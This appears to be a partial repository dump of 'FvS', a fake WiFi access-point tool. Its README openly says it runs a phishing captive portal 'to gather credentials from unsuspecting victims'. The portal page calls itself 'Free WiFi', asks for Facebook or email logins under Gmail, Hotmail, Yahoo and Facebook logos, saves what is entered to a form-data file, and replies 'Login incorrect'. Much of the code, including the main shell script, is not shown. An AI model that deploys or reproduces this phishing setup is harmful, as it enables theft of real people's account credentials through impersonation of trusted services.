├── www
├── formdata.txt
├── yahoo.gif
├── GmailLogo.png
├── GoogleWifi.jpg
├── HotmailLogo.png
├── facebookLogo.jpg
├── hotspot.xml
├── index.html
└── service.php
├── README.md
├── captive-portal.sh
└── LICENSE
/www/formdata.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/www/yahoo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/yahoo.gif
--------------------------------------------------------------------------------
/www/GmailLogo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/GmailLogo.png
--------------------------------------------------------------------------------
/www/GoogleWifi.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/GoogleWifi.jpg
--------------------------------------------------------------------------------
/www/HotmailLogo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/HotmailLogo.png
--------------------------------------------------------------------------------
/www/facebookLogo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/facebookLogo.jpg
--------------------------------------------------------------------------------
/www/hotspot.xml:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------
/www/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Free WiFi
5 |
6 |
7 |
8 |
9 | 
10 |
11 | This is a sponsored public service
12 |
13 | For your security, please enter facebook or email details
14 |
15 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # FvS - Fake WiFi AP
2 |
3 | This script sets up an open WiFi Access Point with a phishing captive portal to gather
4 | credentials from unsuspecting victims.
5 |
6 | ## How do I use it?
7 |
8 | Just run`./captive-portal.sh` and read the help message:
9 |
10 | ```
11 | WiFi Captive Portal script
12 | Foo-Manroot
13 | 2019
14 |
15 | Usage:
16 | ./captive-portal.sh
17 |
18 | Args:
19 | INET_iface:
20 | Interface connected to the internet
21 |
22 | AP_iface:
23 | Wireless interface to set up as an AP. Will be started in monitor mode.
24 |
25 |
26 | Environment variables. To use them to configure the AP properties, you can either
27 | `export =` and then run this script, or directly execute this
28 | script using `env = ./captive-portal.sh ...`
29 |
30 | HOLD: set it to '-hold' to keep the xterm windows up even after the process
31 | being executed dies. This can be used to debug the script and see why it
32 | isn't working
33 |
34 | ESSID: set it to whatever string you want. This will be the name used by your AP.
35 | ```
36 |
37 | ## Why should I use it, instead of other tools?
38 |
39 | I tried to use other tools, but none of them really suited my needs. They were overly
40 | complicated and I was only looking for a "big red button" to quickly set up a phishing
41 | AP. So I decided to [automate](https://xkcd.com/1319/) the process myself to just run it
42 | and being ready to go, with no configuration needed.
43 |
44 | My reference starting point was [PwnSTAR](https://github.com/SilverFoxx/PwnSTAR). My
45 | major concern about it (and most of the other tools) is that, when we connect to a real
46 | network where we need to register, we are redirected immediately to a captive portal.
47 | However, with these phishing APs, that functionality doesn't work really well, and most
48 | devices end up disconnecting after probing the AP and seeing that there's no internet.
49 |
50 | This is because, when setting up the AP, we usually use very simple firewall rules that
51 | "do the trick". But that wasn't enough for me.
52 |
53 |
54 | Of course, you're free to use any of the gazillions of alternative tools:
55 |
56 | - [Fluxion](https://github.com/wi-fi-analyzer/fluxion)
57 |
58 | - [PwnSTAR](https://github.com/SilverFoxx/PwnSTAR)
59 |
60 | - [WiFi-Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin)
61 |
62 | - [WifiPhisher](https://github.com/wifiphisher/wifiphisher)
63 |
64 | - (...)
65 |
66 |
67 | ## What does 'FvS' mean?
68 |
69 | No one will ever know... MUAHAHAHAHAHA
70 |
71 | ## References
72 |
73 | After searching through all the internet to find a way to correctly create an AP with a
74 | captive portal, I finally ended up in [Andrew Rippler's](https://andrewwippler.com/2016/03/11/wifi-captive-portal/)
75 | web. There are the firewall rules that I was looking for, necessary to redirect all
76 | clients to our captive portal upon connecting.
77 |
--------------------------------------------------------------------------------
/www/service.php:
--------------------------------------------------------------------------------
1 | \n" .
35 | "\n" .
36 | "\n" .
37 | "\n" .
38 | "\n" .
39 | "Login incorrect.\n" .
40 | "\n" .
41 | "\n" .
42 | "